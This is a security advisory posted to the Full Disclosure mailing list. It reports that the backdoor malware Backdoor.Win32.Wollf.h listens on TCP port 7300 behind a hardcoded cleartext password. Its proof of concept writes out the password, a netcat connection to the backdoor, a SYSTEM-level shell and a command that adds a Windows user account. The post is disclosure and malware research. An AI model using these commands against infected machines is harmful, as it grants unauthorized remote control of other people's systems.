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Date: Sun, 21 Nov 2021 18:37:22 -0500 From: malvuln <malvuln13@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Backdoor.Win32.Wollf.h / Hardcoded Cleartext Password Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/5494b78dcfaf16aa43b5dbd563dc5582.txt Contact: malvuln13@...il.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Wollf.h Vulnerability: Hardcoded Cleartext Password Description: The malware listens on TCP port 7300 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "grish5800" is hardcoded within the executable. The malware is packed with UPX and exposes the cleartext credentials when decompressed. Type: PE32 MD5: 5494b78dcfaf16aa43b5dbd563dc5582 Vuln ID: MVID-2021-0405 Dropped files: asphelp.exe Disclosure: 11/21/2021 Exploit/PoC: nc64.exe x.x.x.x 7300 login: grish5800 Login succeed! "Wollf Remote Manager" v1.6 Code by wollf, http://www.xfocus.org [DESKTOP-2C3IQHO@C:\WINDOWS\system32]#DOS Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>whoami whoami nt authority\system C:\WINDOWS\system32>net user MALVULN 666 /add net user MALVULN 666 /add The command completed successfully. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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